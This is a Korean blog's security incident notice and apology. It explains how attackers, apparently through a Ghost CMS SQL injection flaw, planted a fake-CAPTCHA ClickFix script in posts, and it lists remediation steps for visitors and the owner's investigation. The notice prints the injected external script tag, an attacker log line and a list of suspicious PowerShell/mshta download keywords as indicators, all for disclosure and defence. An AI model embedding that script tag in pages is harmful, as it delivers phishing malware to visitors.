보안 공지: 피싱 CAPTCHA 노출 및 조치 안내
2026/06/21일 ~ 22일 방문자 긴급공지
방문자 안내 및 사과문
2026년 6월 21일 17시 29분 ~ 2026년 6월 22일 11시 28분경까지,
본 블로그 일부 게시글에서, 작성자가 의도하지 않은,
비정상적인 CAPTCHA 화면이 표시되는 문제가 있었습니다.
이번 사고와 관련성이 높은 취약점으로는 CVE-2026-26980이 확인됩니다.
해당 취약점은 Ghost CMS의 Content API에서
발생한 SQL Injection 취약점으로,
Ghost 3.24.0부터 6.19.0까지의 버전에 영향을 주며,
6.19.1에서 수정된 것으로 공개되어 있습니다.
확인 당시 본 블로그에서 사용 중이던 Ghost 버전은 5.115.1이었기 때문에
해당 영향 범위에 포함되어 있었습니다.


블로그에 SQL Injection 된 코드는
가짜 CAPTCHA 인증 스크립트를 띄워,
악성 페이로드가 있는 명령어를 붙여넣고 실행하도록 유도하는
ClickFix 유형의 사회공학 공격 수법으로 확인 됐습니다.
침해 사고 기간 중 블로그 방문 과정에서 아래와 같은
CAPTCHA 화면을 보셨거나,
안내에 따라 명령어를 복사·붙여넣기·실행하신 분들께
진심으로 사과드립니다.

외부 보안 매체와 보안 연구기관에서도
해당 취약점을 악용해 Ghost CMS 사이트의 Admin API Key 등을 탈취한 뒤,
게시글에 악성 JavaScript를 삽입하고 피싱 CAPTCHA / ClickFix
화면을 노출시키는 사례가 보고되었습니다.
본 블로그에서도 Ghost Admin API를 통한
게시글 수정 요청 로그와 DB 내
Code Injection footer 필드 변경 정황이 확인되었기 때문에,
해당 취약점 또는 노출된 Admin API 권한 악용 가능성을
높게 보고 조치를 진행했습니다.
일반적인 CAPTCHA는
특정 명령어를 복사하여 파워쉘 또는 CMD 창에 복사하도록 지시하지 않습니다.
어느 사이트도 예외는 아니며,
이는 실제 CAPTCHA 인증이 아닐 가능성이 높습니다.
따라서 CAPTCHA 화면에서 명령어 실행을 요구하는 경우
절대로 복사하거나 실행하지 않는 것이 좋습니다.
방문자 권장 조치
해당 기간 중 피싱 CAPTCHA 안내에 따라
Windows 터미널, PowerShell, 명령 프롬프트 등에
명령어를 붙여넣고 실행한 경우에는 아래 조치를 권장드립니다.
단순히 게시글을 열람한 것만으로
악성 파일이 자동 실행되는 방식은 아닌 것으로 확인했습니다.
다만 안내에 따라 명령어를 직접 실행한 경우에는
외부 서버에서 추가 코드가 설치/실행되었을
가능성이 있으므로 추가 점검이 필요합니다.
1. 네트워크 연결 일시 해제
의심 증상이 있거나 실제로 명령어를 실행한 것이 확실하다면,
먼저 Wi-Fi 또는 유선 네트워크 연결을 일시적으로
해제하는 것을 권장드립니다.
이는 추가 통신이나 외부 서버와의 연결을 줄이기 위한 조치입니다.
2. Windows 보안 또는 백신 전체 검사
Windows 보안 또는 사용 중인 백신 프로그램으로 빠른 검사가
아닌 전체 검사를 진행해 주시기 바랍니다.
Windows 기준으로는 아래 경로에서 검사를 진행할 수 있습니다.
Windows 보안 → 바이러스 및 위협 방지 → 검사 옵션 → 전체 검사가능하다면 Microsoft Defender 오프라인 검사도
함께 진행하는 것을 권장드립니다.
3. PowerShell / 터미널 실행 기록 확인
최근 실행한 PowerShell, Windows 터미널,
명령 프롬프트 기록을 확인해 주시기 바랍니다.
아래와 같은 항목이 있었는지 확인합니다.
powershell
cmd
mshta
wscript
cscript
iex
Invoke-Expression
Net.WebClient
DownloadString위와 같은 명령이 CAPTCHA 안내와 함께 실행된 기록이
있다면 추가 점검이 필요합니다.
4. 작업 관리자에서 의심 프로세스 확인
작업 관리자를 열어 알 수 없는 프로세스가
실행 중인지 확인해 주시기 바랍니다.
특히 아래와 같은 항목이 비정상적으로 계속 실행 중인지 확인합니다.
powershell.exe
cmd.exe
wscript.exe
cscript.exe
mshta.exe
rundll32.exe
regsvr32.exe정상 프로그램에서도 사용될 수 있는 이름이므로,
단순히 이름만으로 삭제하지 말고 실행 위치와
동작을 함께 확인하는 것이 좋습니다.
5. 브라우저 확장 프로그램 점검
사용 중인 브라우저의 확장 프로그램 목록을 확인하고,
본인이 설치하지 않았거나
이름이 이상한 항목이 있는지 확인해 주시기 바랍니다.
확인 위치는 브라우저별로 아래와 같습니다.
Chrome / Edge: 설정 → 확장 프로그램
Firefox: 부가 기능 및 테마 → 확장 기능의심스러운 확장 프로그램이 있다면
비활성화하거나 제거하는 것을 권장드립니다.
6. 시작 프로그램 및 예약 작업 확인
악성 스크립트가 실행된 경우,
재부팅 후에도 다시 실행되도록 시작 프로그램이나
예약 작업에 등록될 수 있습니다.
아래 항목을 확인해 주시기 바랍니다.
작업 관리자 → 시작 앱
작업 스케줄러 → 작업 스케줄러 라이브러리알 수 없는 항목이나 최근 생성된
의심 작업이 있다면 추가 확인이 필요합니다.
7. 주요 계정 비밀번호 변경
명령어를 실행한 경우에는 주요 계정의
비밀번호 변경을 권장드립니다.
우선순위는 아래와 같습니다.
이메일 계정
브라우저에 저장된 주요 계정
클라우드 계정
금융/결제 관련 계정
SNS 및 메신저 계정가능하다면 2단계 인증도 함께 활성화해 주시기 바랍니다.
8. 이상 증상 지속 시 추가 점검
검사 후에도 알 수 없는 프로세스 실행,
브라우저 이상 동작, 계정 로그인 알림, 보안 경고 등이 계속된다면
네트워크 연결을 해제한 상태에서
추가 점검 및 디스크 포멧을 진행하는 것을 권장드립니다.
필요한 경우 중요한 파일을 별도 백업한 뒤,
신뢰할 수 있는 보안 도구 또는 전문가를 통한 점검을 고려해 주시기 바랍니다.
블로그 내 조치 내용
문제 확인 후 먼저 테마 파일을 점검했습니다.
테마 내부 JavaScript, 위젯 코드, 공통 스크립트에서
악성 문자열이 포함되어 있는지 확인했지만
직접적인 삽입 흔적은 발견되지 않았습니다.
다음으로 Reverse Proxy 설정과 로그를 확인했습니다.
프록시 설정 파일과 응답 변조 설정을 점검했으나,
악성 스크립트를 삽입하는 설정은 확인되지 않았습니다.
이후 공개 도메인 응답과 Ghost 직접 응답을 비교한 결과,
Reverse Proxy 단계가 아니라 Ghost에서 렌더링되는
HTML 자체에 악성 스크립트가 포함되어 있음을 확인했습니다.
최종적으로 Ghost DB를 확인하여,
여러 게시글의 posts.codeinjection_foot 필드에 외부 스크립트가
삽입되어 있었습니다.
DB의 updated_at 기준으로는
2026년 6월 21일 17시 29분 08초 ~ 17시 32분 28초경까지
여러 게시글의 Code Injection footer 값이
순차적으로 변경된 정황이 확인되었습니다.
삽입된 코드는 아래와 같습니다.
<script src="https://stackai.co.com/gbr322/api.php"></script>
해당 코드는 외부 스크립트를 호출하여
방문자 측 페이지에 피싱 CAPTCHA 화면이
노출되도록 하는 형태였습니다.
NPM 로그에서도 외부 IP에서
Ghost Admin API로 게시글 수정 요청이 발생한 기록이 확인되었습니다.
[21/Jun/2026:17:29:41 +0000] - 200 200 - PUT https blog.sonny.co.kr "/ghost/api/admin/posts/포스트경로/" [Client 150.241.66.123] [Length 24034] [Gzip -] [Sent-to INTERNAL_GHOST_SERVER] "python-requests/2.34.2" "-"
해당 요청은 일반 브라우저를 통한
관리자 화면 접근이 아니라, python-requests User-Agent를 사용해
Ghost Admin API의 게시글 수정 엔드포인트로
직접 PUT 요청을 보낸 형태였습니다.
확인 후 해당 필드의 악성 스크립트를 제거하고
Ghost 서비스를 재시작했습니다.
이후 게시글 응답을 다시 확인하여 악성 문자열이
더 이상 출력되지 않는 것을 확인했습니다.
추가 조치로 Ghost와 MySQL을 업데이트했으며,
공격자 IP는 차단조치 하였습니다.
Ghost 관리자 페이지와 Admin API 경로의 외부 접근을 제한했습니다.
일반 방문에 필요한 Content API는 유지하고,
관리자 기능과 관련된 경로는
내부망 또는 VPN 환경에서만 접근 가능하도록 분리했습니다.
방문자분들께 불편과 불안을 드린 점 다시 한 번 사과드립니다.
같은 문제가 재발하지 않도록 관리하겠습니다.